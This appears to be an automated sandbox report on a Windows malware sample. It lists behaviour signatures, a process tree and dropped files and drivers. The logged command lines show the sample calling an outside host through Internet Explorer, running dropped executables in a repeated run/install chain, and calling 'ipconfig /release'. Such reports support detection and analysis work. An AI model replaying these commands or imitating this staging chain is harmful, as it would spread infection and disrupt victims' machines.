Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 17:29
General
- Target 2026-08-04_f5bd2ff899426b980295667f562c7de8_elex_rhadamanthys_stop.exe
- Size 243KB
- Sample260804-v2rc4attdz
- SHA256 19e4fbd9cf5361d040b915c58b7f3592824d78a2ef16b8d370e1324332770e69
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 29 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 61 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_f5bd2ff899426b980295667f562c7de8_elex_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_f5bd2ff899426b980295667f562c7de8_elex_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1800 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xvpnhfzxsp.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\xvpnhfzxsp.exeC:\Temp\xvpnhfzxsp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xvpnhfzxsp.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xvpnhfzxsp.exeC:\Temp\i_xvpnhfzxsp.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\cwupmhezxr.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\cwupmhezxr.exeC:\Temp\cwupmhezxr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_cwupmhezxr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_cwupmhezxr.exeC:\Temp\i_cwupmhezxr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ojebwuomge.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ojebwuomge.exeC:\Temp\ojebwuomge.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ojebwuomge.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ojebwuomge.exeC:\Temp\i_ojebwuomge.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mgeywrojhb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mgeywrojhb.exeC:\Temp\mgeywrojhb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mgeywrojhb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mgeywrojhb.exeC:\Temp\i_mgeywrojhb.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tolgeywqoj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\tolgeywqoj.exeC:\Temp\tolgeywqoj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tolgeywqoj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_tolgeywqoj.exeC:\Temp\i_tolgeywqoj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dyvqnigays.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dyvqnigays.exeC:\Temp\dyvqnigays.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dyvqnigays.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dyvqnigays.exeC:\Temp\i_dyvqnigays.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\igaysqkida.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\igaysqkida.exeC:\Temp\igaysqkida.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_igaysqkida.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_igaysqkida.exeC:\Temp\i_igaysqkida.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xvpnhfaxsq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\xvpnhfaxsq.exeC:\Temp\xvpnhfaxsq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xvpnhfaxsq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xvpnhfaxsq.exeC:\Temp\i_xvpnhfaxsq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hcausmkfzx.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hcausmkfzx.exeC:\Temp\hcausmkfzx.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hcausmkfzx.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hcausmkfzx.exeC:\Temp\i_hcausmkfzx.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wupmhfzxrp.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\wupmhfzxrp.exeC:\Temp\wupmhfzxrp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wupmhfzxrp.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wupmhfzxrp.exeC:\Temp\i_wupmhfzxrp.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmjecwuomg.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rmjecwuomg.exeC:\Temp\rmjecwuomg.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmjecwuomg.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rmjecwuomg.exeC:\Temp\i_rmjecwuomg.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hbztrmjebw.exe ups_run2⤵
-
C:\Temp\hbztrmjebw.exeC:\Temp\hbztrmjebw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hbztrmjebw.exe ups_ins2⤵
-
C:\Temp\i_hbztrmjebw.exeC:\Temp\i_hbztrmjebw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ztrljdbwto.exe ups_run2⤵
-
C:\Temp\ztrljdbwto.exeC:\Temp\ztrljdbwto.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ztrljdbwto.exe ups_ins2⤵
-
C:\Temp\i_ztrljdbwto.exeC:\Temp\i_ztrljdbwto.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbvtnlfdyv.exe ups_run2⤵
-
C:\Temp\dbvtnlfdyv.exeC:\Temp\dbvtnlfdyv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbvtnlfdyv.exe ups_ins2⤵
-
C:\Temp\i_dbvtnlfdyv.exeC:\Temp\i_dbvtnlfdyv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ysqkidavsn.exe ups_run2⤵
-
C:\Temp\ysqkidavsn.exeC:\Temp\ysqkidavsn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ysqkidavsn.exe ups_ins2⤵
-
C:\Temp\i_ysqkidavsn.exeC:\Temp\i_ysqkidavsn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vpnifaqkfd.exe ups_run2⤵
-
C:\Temp\vpnifaqkfd.exeC:\Temp\vpnifaqkfd.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vpnifaqkfd.exe ups_ins2⤵
-
C:\Temp\i_vpnifaqkfd.exeC:\Temp\i_vpnifaqkfd.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mkfcxvpnhf.exe ups_run2⤵
-
C:\Temp\mkfcxvpnhf.exeC:\Temp\mkfcxvpnhf.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mkfcxvpnhf.exe ups_ins2⤵
-
C:\Temp\i_mkfcxvpnhf.exeC:\Temp\i_mkfcxvpnhf.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kecwupmhfz.exe ups_run2⤵
-
C:\Temp\kecwupmhfz.exeC:\Temp\kecwupmhfz.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kecwupmhfz.exe ups_ins2⤵
-
C:\Temp\i_kecwupmhfz.exeC:\Temp\i_kecwupmhfz.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bzurmjezwr.exe ups_run2⤵
-
C:\Temp\bzurmjezwr.exeC:\Temp\bzurmjezwr.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bzurmjezwr.exe ups_ins2⤵
-
C:\Temp\i_bzurmjezwr.exeC:\Temp\i_bzurmjezwr.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecwuomhezw.exe ups_run2⤵
-
C:\Temp\ecwuomhezw.exeC:\Temp\ecwuomhezw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Temp\mhbzurmkec.sysC:\Temp\mhbzurmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\ecwuomhezx.sysC:\Temp\ecwuomhezx.sys1⤵
- Executes dropped EXE
-
C:\Temp\uomgeywroj.sysC:\Temp\uomgeywroj.sys1⤵
- Executes dropped EXE
-
C:\Temp\bytrljdbvt.sysC:\Temp\bytrljdbvt.sys1⤵
- Executes dropped EXE
-
C:\Temp\oigaytqlid.sysC:\Temp\oigaytqlid.sys1⤵
- Executes dropped EXE
-
C:\Temp\dyvqlidbvt.sysC:\Temp\dyvqlidbvt.sys1⤵
- Executes dropped EXE
-
C:\Temp\icavsnlfdx.sysC:\Temp\icavsnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\spkicausnk.sysC:\Temp\spkicausnk.sys1⤵
- Executes dropped EXE
-
C:\Temp\hczurmkecw.sysC:\Temp\hczurmkecw.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmkeupmhfz.sysC:\Temp\rmkeupmhfz.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmjebwuomg.sysC:\Temp\rmjebwuomg.sys1⤵
-
C:\Temp\gbytrljdbv.sysC:\Temp\gbytrljdbv.sys1⤵
-
C:\Temp\nigaytqljd.sysC:\Temp\nigaytqljd.sys1⤵
-
C:\Temp\nlgdyvqoiy.sysC:\Temp\nlgdyvqoiy.sys1⤵
-
C:\Temp\faysqkicav.sysC:\Temp\faysqkicav.sys1⤵
-
C:\Temp\xspkicausn.sysC:\Temp\xspkicausn.sys1⤵
-
C:\Temp\rpkhczusmk.sysC:\Temp\rpkhczusmk.sys1⤵
-
C:\Temp\upmhfzxrpj.sysC:\Temp\upmhfzxrpj.sys1⤵
-
C:\Temp\mjebwuomge.sysC:\Temp\mjebwuomge.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
bytrljdbvt.sys
cwupmhezxr.exe
dyvqlidbvt.sys
dyvqnigays.exe
ecwuomhezx.sys
i_cwupmhezxr.exe
i_dyvqnigays.exe
i_igaysqkida.exe
i_mgeywrojhb.exe
i_ojebwuomge.exe
i_tolgeywqoj.exe
i_xvpnhfaxsq.exe
i_xvpnhfzxsp.exe
icavsnlfdx.sys
igaysqkida.exe
mgeywrojhb.exe
mhbzurmkec.sys
oigaytqlid.sys
ojebwuomge.exe
tolgeywqoj.exe
uomgeywroj.sys
xvpnhfaxsq.exe
xvpnhfzxsp.exe
suggestions[1].en-US
memory/216-99-0x0000000000010000-0x0000000000083000-memory.dmp
memory/216-149-0x0000000000010000-0x0000000000083000-memory.dmp
memory/216-144-0x0000000000010000-0x0000000000083000-memory.dmp
memory/916-140-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1396-121-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1764-100-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1764-88-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2124-153-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2272-117-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2316-64-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2460-26-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2472-50-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2876-129-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3188-158-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3748-125-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3792-38-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3908-136-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4424-76-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4564-14-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4776-148-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4776-154-0x0000000000010000-0x0000000000083000-memory.dmp